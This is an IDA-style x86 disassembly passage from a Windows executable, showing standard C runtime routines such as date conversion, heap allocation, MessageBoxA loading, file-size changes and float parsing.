loc_4252B9: ; CODE XREF: sub_42511A+18Ej
xor ecx, ecx
cmp eax, dword_440078
setl cl
jmp short loc_4252B5
sub_42511A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4252C6 proc near ; CODE XREF: sub_42511A+99p
; sub_42511A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_425361
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_4252F1
shl esi, 2
mov eax, dword_440078[esi]
jmp short loc_4252FA
; ---------------------------------------------------------------------------
loc_4252F1: ; CODE XREF: sub_4252C6+1Ej
shl esi, 2
mov eax, dword_4400AC[esi]
loc_4252FA: ; CODE XREF: sub_4252C6+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_425334
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_42533E
; ---------------------------------------------------------------------------
loc_425334: ; CODE XREF: sub_4252C6+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_42533E: ; CODE XREF: sub_4252C6+6Cj
cmp [ebp+arg_10], 5
jnz short loc_42537C
cmp [ebp+arg_8], 0
jnz short loc_425352
mov esi, dword_44007C[esi]
jmp short loc_425358
; ---------------------------------------------------------------------------
loc_425352: ; CODE XREF: sub_4252C6+82j
mov esi, dword_4400B0[esi]
loc_425358: ; CODE XREF: sub_4252C6+8Aj
cmp ecx, esi
jle short loc_42537C
sub ecx, 7
jmp short loc_42537C
; ---------------------------------------------------------------------------
loc_425361: ; CODE XREF: sub_4252C6+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_425372
mov ecx, dword_440078[eax*4]
jmp short loc_425379
; ---------------------------------------------------------------------------
loc_425372: ; CODE XREF: sub_4252C6+A1j
mov ecx, dword_4400AC[eax*4]
loc_425379: ; CODE XREF: sub_4252C6+AAj
add ecx, [ebp+arg_18]
loc_42537C: ; CODE XREF: sub_4252C6+7Cj
; sub_4252C6+94j ...
cmp [ebp+arg_0], 1
jnz short loc_4253AD
mov eax, [ebp+arg_1C]
mov dword_440064, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_440060, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_440068, eax
jmp short loc_425402
; ---------------------------------------------------------------------------
loc_4253AD: ; CODE XREF: sub_4252C6+BAj
mov eax, [ebp+arg_1C]
mov dword_440074, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43FFD0
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_440078, eax
jns short loc_4253E5
add eax, 5265C00h
dec ecx
mov dword_440078, eax
jmp short loc_4253F6
; ---------------------------------------------------------------------------
loc_4253E5: ; CODE XREF: sub_4252C6+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_4253FC
sub eax, edx
inc ecx
mov dword_440078, eax
loc_4253F6: ; CODE XREF: sub_4252C6+11Dj
mov dword_440074, ecx
loc_4253FC: ; CODE XREF: sub_4252C6+126j
mov dword_440070, ebx
loc_425402: ; CODE XREF: sub_4252C6+E5j
pop esi
pop ebx
pop ebp
retn
sub_4252C6 endp
; =============== S U B R O U T I N E =======================================
sub_425406 proc near ; CODE XREF: sub_42353D+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_425417
add esp, 0Ch
retn
sub_425406 endp
; =============== S U B R O U T I N E =======================================
sub_425417 proc near ; CODE XREF: sub_425406+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DFB41[eax], cl
jnz short loc_425444
cmp [esp+arg_4], 0
jz short loc_42543D
movzx eax, word_43F622[eax*2]
and eax, [esp+arg_4]
jmp short loc_42543F
; ---------------------------------------------------------------------------
loc_42543D: ; CODE XREF: sub_425417+16j
xor eax, eax
loc_42543F: ; CODE XREF: sub_425417+24j
test eax, eax
jnz short loc_425444
retn
; ---------------------------------------------------------------------------
loc_425444: ; CODE XREF: sub_425417+Fj
; sub_425417+2Aj
push 1
pop eax
retn
sub_425417 endp
; =============== S U B R O U T I N E =======================================
sub_425448 proc near ; CODE XREF: sub_423C91+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DE8B4, ebx
push esi
push edi
jnz short loc_425497
push offset aUser32_dll ; "user32.dll"
call dword_4280C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4254CD
mov esi, dword_4280C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_4DE8B4, eax
jz short loc_4254CD
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DE8B8, eax
call esi ; GetProcAddress
mov dword_4DE8BC, eax
loc_425497: ; CODE XREF: sub_425448+Bj
mov eax, dword_4DE8B8
test eax, eax
jz short loc_4254B6
call eax ; GetActiveWindow
mov ebx, eax
test ebx, ebx
jz short loc_4254B6
mov eax, dword_4DE8BC
test eax, eax
jz short loc_4254B6
push ebx
call eax ; GetLastActivePopup
mov ebx, eax
loc_4254B6: ; CODE XREF: sub_425448+56j
; sub_425448+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DE8B4 ; MessageBoxA
loc_4254C9: ; CODE XREF: sub_425448+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4254CD: ; CODE XREF: sub_425448+1Cj
; sub_425448+33j
xor eax, eax
jmp short loc_4254C9
sub_425448 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254D1 proc near ; CODE XREF: sub_423FFE+22p
; sub_423FFE+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_4254F2
test esi, esi
jnz short loc_4254EC
push 1
pop esi
loc_4254EC: ; CODE XREF: sub_4254D1+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4254F2: ; CODE XREF: sub_4254D1+12j
; sub_4254D1+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425551
mov eax, dword_4DFC68
cmp eax, 3
jnz short loc_42551D
mov eax, [ebp+arg_0]
cmp eax, dword_4DFC60
ja short loc_42553C
push eax
call sub_41E86B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425567
jmp short loc_42553C
; ---------------------------------------------------------------------------
loc_42551D: ; CODE XREF: sub_4254D1+30j
cmp eax, 2
jnz short loc_42553C
cmp esi, dword_43F614
ja short loc_42553C
mov eax, esi
shr eax, 4
push eax
call sub_41F30E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42557B
loc_42553C: ; CODE XREF: sub_4254D1+3Bj
; sub_4254D1+4Aj ...
push esi
push 8
push dword_4DFC64
call dword_428154 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_425575
loc_425551: ; CODE XREF: sub_4254D1+26j
cmp dword_4DE64C, 0
jz short loc_425575
push esi
call sub_41F9B2
test eax, eax
pop ecx
jz short loc_42557E
jmp short loc_4254F2
; ---------------------------------------------------------------------------
loc_425567: ; CODE XREF: sub_4254D1+48j
push [ebp+arg_0]
loc_42556A: ; CODE XREF: sub_4254D1+ABj
push 0
push edi
call sub_41BC00
add esp, 0Ch
loc_425575: ; CODE XREF: sub_4254D1+7Ej
; sub_4254D1+87j
mov eax, edi
loc_425577: ; CODE XREF: sub_4254D1+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42557B: ; CODE XREF: sub_4254D1+69j
push esi
jmp short loc_42556A
; ---------------------------------------------------------------------------
loc_42557E: ; CODE XREF: sub_4254D1+92j
xor eax, eax
jmp short loc_425577
sub_4254D1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4240A3
loc_425582: ; CODE XREF: sub_4240A3+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DF900, esi
jle short loc_4255D5
loc_425591: ; CODE XREF: sub_4240A3+1530j
mov eax, dword_4DE8E8
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4255CC
test byte ptr [eax+0Ch], 83h
jz short loc_4255B0
push eax
call sub_41B6CB
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4255B0
inc edi
loc_4255B0: ; CODE XREF: sub_4240A3+14FEj
; sub_4240A3+150Aj
cmp esi, 14h
jl short loc_4255CC
mov eax, dword_4DE8E8
push dword ptr [eax+esi*4]
call sub_41B721
mov eax, dword_4DE8E8
pop ecx
and dword ptr [eax+esi*4], 0
loc_4255CC: ; CODE XREF: sub_4240A3+14F8j
; sub_4240A3+1510j
inc esi
cmp esi, dword_4DF900
jl short loc_425591
loc_4255D5: ; CODE XREF: sub_4240A3+14ECj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4240A3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4255DA proc near ; CODE XREF: sub_4240FB+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C190
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DFA20
jnb loc_42570F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DF920[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42570F
push 1
push esi
push ebx
call sub_422DCB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_425719
push 2
push esi
push ebx
call sub_422DCB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425719
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_4256BC
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BC00
push 8000h
push ebx
call sub_426214
add esp, 14h
mov [ebp+arg_4], eax
loc_425670: ; CODE XREF: sub_4255DA+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_42567B
mov eax, edi
loc_42567B: ; CODE XREF: sub_4255DA+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_422FBD
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_425699
sub edi, eax
test edi, edi
jle short loc_4256AF
jmp short loc_425670
; ---------------------------------------------------------------------------
loc_425699: ; CODE XREF: sub_4255DA+B5j
cmp dword_4DE5C8, 5
jnz short loc_4256AC
mov dword_4DE5C4, 0Dh
loc_4256AC: ; CODE XREF: sub_4255DA+C6j
or esi, 0FFFFFFFFh
loc_4256AF: ; CODE XREF: sub_4255DA+BBj
push [ebp+arg_4]
push ebx
call sub_426214
pop ecx
pop ecx
jmp short loc_4256FC
; ---------------------------------------------------------------------------
loc_4256BC: ; CODE XREF: sub_4255DA+71j
jge short loc_4256FC
push 0
push [ebp+arg_4]
push ebx
call sub_422DCB
push ebx
call sub_423F6A
add esp, 10h
push eax
call dword_428010 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_4256FC
mov dword_4DE5C4, 0Dh
call dword_428094 ; RtlGetLastWin32Error
mov dword_4DE5C8, eax
loc_4256FC: ; CODE XREF: sub_4255DA+E0j
; sub_4255DA:loc_4256BCj ...
push 0
push [ebp+arg_0]
push ebx
call sub_422DCB
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42571C
; ---------------------------------------------------------------------------
loc_42570F: ; CODE XREF: sub_4255DA+1Aj
; sub_4255DA+36j
mov dword_4DE5C4, 9
loc_425719: ; CODE XREF: sub_4255DA+4Ej
; sub_4255DA+63j
or eax, 0FFFFFFFFh
loc_42571C: ; CODE XREF: sub_4255DA+133j
pop esi
pop ebx
leave
retn
sub_4255DA endp
; =============== S U B R O U T I N E =======================================
sub_425720 proc near ; CODE XREF: sub_42489F+2Bp
; sub_42489F+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425736
cmp ecx, esi
jnb short loc_425739
loc_425736: ; CODE XREF: sub_425720+10j
push 1
pop eax
loc_425739: ; CODE XREF: sub_425720+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425720 endp
; =============== S U B R O U T I N E =======================================
sub_425741 proc near ; CODE XREF: sub_4257FA+40p
; sub_4257FA+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425720
add esp, 0Ch
test eax, eax
jz short loc_425773
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425720
add esp, 0Ch
test eax, eax
jz short loc_425773
inc dword ptr [esi+8]
loc_425773: ; CODE XREF: sub_425741+19j
; sub_425741+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425720
add esp, 0Ch
test eax, eax
jz short loc_42578B
inc dword ptr [esi+8]
loc_42578B: ; CODE XREF: sub_425741+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425720
add esp, 0Ch
pop edi
pop esi
retn
sub_425741 endp
; =============== S U B R O U T I N E =======================================
sub_42579F proc near ; CODE XREF: sub_4257FA+30p
; sub_4257FA+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_42579F endp
; =============== S U B R O U T I N E =======================================
sub_4257CD proc near ; CODE XREF: sub_425D92+1C8p
; sub_42628A+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4257CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4257FA proc near ; CODE XREF: sub_4258C1+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42586E
push edi
mov [ebp+arg_8], eax
loc_425821: ; CODE XREF: sub_4257FA+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_42579F
push ebx
call sub_42579F
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425741
push ebx
call sub_42579F
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425741
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425821
xor edx, edx
pop edi
loc_42586E: ; CODE XREF: sub_4257FA+21j
; sub_4257FA+9Fj
cmp [ebx+8], edx
jnz short loc_42589B
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42586E
; ---------------------------------------------------------------------------
loc_42589B: ; CODE XREF: sub_4257FA+77j
mov esi, 8000h
loc_4258A0: ; CODE XREF: sub_4257FA+B9j
test [ebx+8], esi
jnz short loc_4258B5
push ebx
call sub_42579F
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4258A0
; ---------------------------------------------------------------------------
loc_4258B5: ; CODE XREF: sub_4257FA+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_4257FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4258C1 proc near ; CODE XREF: sub_424BE8+17p
; sub_424C15+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_4258FC: ; CODE XREF: sub_4258C1+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_425912
cmp cl, 9
jz short loc_425912
cmp cl, 0Ah
jz short loc_425912
cmp cl, 0Dh
jnz short loc_425915
loc_425912: ; CODE XREF: sub_4258C1+40j
; sub_4258C1+45j ...
inc edi
jmp short loc_4258FC
; ---------------------------------------------------------------------------
loc_425915: ; CODE XREF: sub_4258C1+4Fj
push 4
pop esi
loc_425918: ; CODE XREF: sub_4258C1+AEj
; sub_4258C1+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_425B9B ; default
; jumptable 00425924 case 10
jmp off_425D62[eax*4] ; switch jump
loc_42592B: ; DATA XREF: .XPack0:off_425D62o
cmp bl, 31h ; jumptable 00425924 case 0
jl short loc_42593C
cmp bl, 39h
jg short loc_42593C
loc_425935: ; CODE XREF: sub_4258C1+C4j
; sub_4258C1+118j
push 3
jmp loc_425B59
; ---------------------------------------------------------------------------
loc_42593C: ; CODE XREF: sub_4258C1+6Dj
; sub_4258C1+72j
cmp bl, byte_43F828
jnz short loc_42594B
loc_425944: ; CODE XREF: sub_4258C1+124j
push 5
jmp loc_425B91
; ---------------------------------------------------------------------------
loc_42594B: ; CODE XREF: sub_4258C1+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_425971
dec eax
dec eax
jz short loc_425965
sub eax, 3
jnz loc_425C34
jmp loc_4259F4
; ---------------------------------------------------------------------------
loc_425965: ; CODE XREF: sub_4258C1+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425918
; ---------------------------------------------------------------------------
loc_425971: ; CODE XREF: sub_4258C1+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425918
; ---------------------------------------------------------------------------
loc_42597A: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
cmp bl, 31h ; jumptable 00425924 case 1
mov [ebp+var_10], edx
jl short loc_425987
cmp bl, 39h
jle short loc_425935
loc_425987: ; CODE XREF: sub_4258C1+BFj
cmp bl, byte_43F828
jz loc_425A4F
cmp bl, 2Bh
jz short loc_4259C9
cmp bl, 2Dh
jz short loc_4259C9
cmp bl, 30h
jz short loc_4259F4
loc_4259A2: ; CODE XREF: sub_4258C1+207j
cmp bl, 43h
jle loc_425C34
cmp bl, 45h
jle short loc_4259C2
cmp bl, 63h
jle loc_425C34
cmp bl, 65h
jg loc_425C34
loc_4259C2: ; CODE XREF: sub_4258C1+EDj
push 6
jmp loc_425B91
; ---------------------------------------------------------------------------
loc_4259C9: ; CODE XREF: sub_4258C1+D5j
; sub_4258C1+DAj ...
dec edi
push 0Bh
jmp loc_425B91
; ---------------------------------------------------------------------------
loc_4259D1: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
cmp bl, 31h ; jumptable 00425924 case 2
jl short loc_4259DF
cmp bl, 39h
jle loc_425935
loc_4259DF: ; CODE XREF: sub_4258C1+113j
cmp bl, byte_43F828
jz loc_425944
cmp bl, 30h
jnz loc_425BA9
loc_4259F4: ; CODE XREF: sub_4258C1+9Fj
; sub_4258C1+DFj
mov eax, edx
jmp loc_425918
; ---------------------------------------------------------------------------
loc_4259FB: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
mov [ebp+var_10], edx ; jumptable 00425924 case 3
loc_4259FE: ; CODE XREF: sub_4258C1+184j
cmp dword_43F824, edx
jle short loc_425A17
movzx eax, bl
push esi
push eax
call sub_41FBB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425A25
; ---------------------------------------------------------------------------
loc_425A17: ; CODE XREF: sub_4258C1+143j
mov ecx, off_43F618
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425A25: ; CODE XREF: sub_4258C1+154j
test eax, eax
jz short loc_425A47
cmp [ebp+var_4], 19h
jnb short loc_425A3F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425A42
; ---------------------------------------------------------------------------
loc_425A3F: ; CODE XREF: sub_4258C1+16Cj
inc [ebp+var_8]
loc_425A42: ; CODE XREF: sub_4258C1+17Cj
mov bl, [edi]
inc edi
jmp short loc_4259FE
; ---------------------------------------------------------------------------
loc_425A47: ; CODE XREF: sub_4258C1+166j
cmp bl, byte_43F828
jnz short loc_425AB6
loc_425A4F: ; CODE XREF: sub_4258C1+CCj
mov eax, esi
jmp loc_425918
; ---------------------------------------------------------------------------
loc_425A56: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
cmp [ebp+var_4], 0 ; jumptable 00425924 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_425A6F
loc_425A62: ; CODE XREF: sub_4258C1+1ACj
cmp bl, 30h
jnz short loc_425A6F
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425A62
; ---------------------------------------------------------------------------
loc_425A6F: ; CODE XREF: sub_4258C1+19Fj
; sub_4258C1+1A4j ...
cmp dword_43F824, edx
jle short loc_425A88
movzx eax, bl
push esi
push eax
call sub_41FBB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425A96
; ---------------------------------------------------------------------------
loc_425A88: ; CODE XREF: sub_4258C1+1B4j
mov ecx, off_43F618
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425A96: ; CODE XREF: sub_4258C1+1C5j
test eax, eax
jz short loc_425AB6
cmp [ebp+var_4], 19h
jnb short loc_425AB1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425AB1: ; CODE XREF: sub_4258C1+1DDj
mov bl, [edi]
inc edi
jmp short loc_425A6F
; ---------------------------------------------------------------------------
loc_425AB6: ; CODE XREF: sub_4258C1+18Cj
; sub_4258C1+1D7j
cmp bl, 2Bh
jz loc_4259C9
cmp bl, 2Dh
jz loc_4259C9
jmp loc_4259A2
; ---------------------------------------------------------------------------
loc_425ACD: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
cmp dword_43F824, edx ; jumptable 00425924 case 5
mov [ebp+var_24], edx
jle short loc_425AE9
movzx eax, bl
push esi
push eax
call sub_41FBB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425AF7
; ---------------------------------------------------------------------------
loc_425AE9: ; CODE XREF: sub_4258C1+215j
mov ecx, off_43F618
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425AF7: ; CODE XREF: sub_4258C1+226j
test eax, eax
jz loc_425BA9
mov eax, esi
jmp short loc_425B5A
; ---------------------------------------------------------------------------
loc_425B03: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
lea ecx, [edi-2] ; jumptable 00425924 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_425B13
cmp bl, 39h
jle short loc_425B57
loc_425B13: ; CODE XREF: sub_4258C1+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_425B8F
dec eax
dec eax
jz short loc_425B83
sub eax, 3
jnz loc_425C37
loc_425B28: ; CODE XREF: sub_4258C1+2A4j
push 8
jmp short loc_425B91
; ---------------------------------------------------------------------------
loc_425B2C: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
mov [ebp+var_20], edx ; jumptable 00425924 case 8
loc_425B2F: ; CODE XREF: sub_4258C1+276j
cmp bl, 30h
jnz short loc_425B39
mov bl, [edi]
inc edi
jmp short loc_425B2F
; ---------------------------------------------------------------------------
loc_425B39: ; CODE XREF: sub_4258C1+271j
cmp bl, 31h
jl loc_425C34
cmp bl, 39h
jg loc_425C34
jmp short loc_425B57
; ---------------------------------------------------------------------------
loc_425B4D: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
cmp bl, 31h ; jumptable 00425924 case 7
jl short loc_425B60
cmp bl, 39h
jg short loc_425B60
loc_425B57: ; CODE XREF: sub_4258C1+250j
; sub_4258C1+28Aj
push 9
loc_425B59: ; CODE XREF: sub_4258C1+76j
pop eax
loc_425B5A: ; CODE XREF: sub_4258C1+240j
dec edi
jmp loc_425918
; ---------------------------------------------------------------------------
loc_425B60: ; CODE XREF: sub_4258C1+28Fj
; sub_4258C1+294j
cmp bl, 30h
jnz short loc_425BA9
jmp short loc_425B28
; ---------------------------------------------------------------------------
loc_425B67: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
cmp [ebp+arg_18], 0 ; jumptable 00425924 case 11
jz short loc_425B97
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_425B8F
dec eax
dec eax
jnz loc_425C37
loc_425B83: ; CODE XREF: sub_4258C1+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425918
; ---------------------------------------------------------------------------
loc_425B8F: ; CODE XREF: sub_4258C1+258j
; sub_4258C1+2B8j
push 7
loc_425B91: ; CODE XREF: sub_4258C1+85j
; sub_4258C1+103j ...
pop eax
jmp loc_425918
; ---------------------------------------------------------------------------
loc_425B97: ; CODE XREF: sub_4258C1+2AAj
push 0Ah
dec edi
pop eax
loc_425B9B: ; CODE XREF: sub_4258C1+5Dj
; sub_4258C1+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425924 case 10
jz loc_425C39
jmp loc_425918
; ---------------------------------------------------------------------------
loc_425BA9: ; CODE XREF: sub_4258C1+12Dj
; sub_4258C1+238j ...
mov edi, [ebp+arg_8]
jmp loc_425C39
; ---------------------------------------------------------------------------
loc_425BB1: ; CODE XREF: sub_4258C1+63j
; DATA XREF: .XPack0:off_425D62o
mov [ebp+var_20], 1 ; jumptable 00425924 case 9
xor esi, esi
loc_425BBA: ; CODE XREF: sub_4258C1+339j
cmp dword_43F824, 1
jle short loc_425BD2
movzx eax, bl
push 4
push eax
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_425BE1
; ---------------------------------------------------------------------------
loc_425BD2: ; CODE XREF: sub_4258C1+300j
mov ecx, off_43F618
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425BE1: ; CODE XREF: sub_4258C1+30Fj
test eax, eax
jz short loc_425C01
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_425BFC
mov bl, [edi]
inc edi
